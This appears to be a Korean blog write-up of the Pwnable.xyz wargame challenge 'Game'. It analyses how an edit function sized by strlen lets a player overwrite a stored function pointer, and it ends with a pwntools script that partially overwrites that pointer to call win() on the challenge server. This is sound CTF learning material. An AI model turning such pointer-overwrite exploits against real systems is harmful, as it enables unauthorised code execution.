<Wargame & CTF>/Pwnable.xyz

[Pwnable.xyz] Game

gosoeungduk 2020. 5. 31. 15:43
반응형

Game

#Pwanble.xyz #Game


오래간만에 포너블 문제를 풀어보았다.

intro

문제 소개로는 감이 안온다. 바이너리를 까보자.

pro1

그냥 수학문제 푸는 것 같아보인다. 분석을 해보자.

핵심만 분석해보자면,

init

init_game() 함수에서 현재 문제풀이 상태와 문제푸는 사람 이름을 적어두고 play_game() 함수를 저장하는 cur구조체 를 초기화 한다.

이름은 최대 16바이트, 문제풀이 점수는 8바이트, play_game() 함수를 저장하는데에 8바이트를 써서 구조체는 총 32바이트이다.

play1

 

play2


[play_game()]

main() 함수에서 1번 Play Game을 선택하면 cur구조체 안에 있던 play_game() 함수가 실행된다.

이 함수는 별다른 기능은 없고, urandom 파일에 의해 나온 정수 2개를 랜덤한 연산자를 뽑아서 맨 처음과 같이 식을 만든다.
그리고 그에 대한 답을 맞히면 cur구조체 안에 있는 점수가 +1이 되고 틀리면 -1이 된다.

play3


[0점에서 -1 되고 난 후, cur 구조체 상태]

위 사진으로 설명을 하자면, 0x1DB42B0 부터 8바이트가 문제풀이점수가 기록되는 영역이며 그 이전의 16바이트는 문제푸는 사람의 이름이 저장되는 영역이다.

save1

점수 기록 후, 현재 상황을 Save Game 한다면 cur구조체 상태가 이렇게 된다.

24 바이트는 Name과 여러 쓸데없는 값들로 채워지고 그 다음 8바이트는 play_game() 함수 주소가 들어있는데 이걸 기억하자.

edit1

edit_game() 함수는 이렇게 생겼다. Null 값이 없을 때까지의 길이를 strlen으로 얻어내고 그 만큼 cur구조체 를 재입력할 수 있다. 이렇게 되면 play_game() 함수의 주소가 있는 곳까지 cur구조체 를 수정할 수 있다.

win1

 

win2

또 하나, 바이너리 안에는 win() 함수가 있다. 만약 edit으로 play_game() 함수 대신 win() 함수 주소를 넣는다면
메뉴 선택 과정에서 1번을 선택했을 때, win() 함수가 실행될 것이다.

아래는 익스 코드이다.

from pwn import *
#s=process("./challenge")
s=remote("svc.pwnable.xyz",30009)
def menu(num):
    s.recvuntil(">")
    s.sendline(str(num))
s.send('a'*16)
menu("1")
s.recvuntil("= ")
s.sendline("8080")
# stage 1
menu("2")
menu("3")
win=0x4009d6
s.send(b"a"*24+b"\xd6\x09")
menu("1")
s.interactive()
반응형

'<Wargame & CTF> > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] fclose  (0) 2021.02.11
[Pwnable.xyz] note  (0) 2020.07.31
[Pwnable.xyz] UAF  (0) 2019.12.30
[Pwnable.xyz] GrownUp  (0) 2019.12.29
[Pwnable.xyz]add, misalignment  (0) 2019.02.03